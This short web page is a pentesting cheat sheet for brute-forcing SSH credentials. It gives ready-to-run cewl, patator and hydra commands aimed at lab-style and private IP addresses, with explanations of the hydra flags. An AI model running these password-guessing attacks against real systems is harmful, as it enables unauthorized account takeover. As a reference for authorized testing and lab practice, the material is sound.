Skip to main content

Brute Force a SSH Password and Username

Creating a Wordlist based on keywords from a page

cewl 10.10.10.46 > wordlist.txt --> Create a Word list based on the files/words/links available in the web pag

Brute Force SSH:

patator ssh_login host=10.10.10.76 port=22 user=someone password=FILE0 0=probable-v2-top1575.txt persistent=0 https://github.com/lanjelot/patator.git

Brute Force SSH Password or Username:

hydra -L /usr/share/wordlists.rockyou.txt -P /usr/share/wordlists/rockyou.txt -M Documents/ip.txt -t 4 ssh hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 ssh hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 -e nsr ssh -t = Number of threads used -P = Wordlist for Passwords -L = WOrdlist for username -p = Password -l = username -M = List of targets -s = change ssh port to test -e = more ways to test; n= null; s = same ; r =reverse; nsr checks for same username and pass, null pass and reverse the username

Brute force any Server, Port:

https://github.com/galkan/crowbar

Comments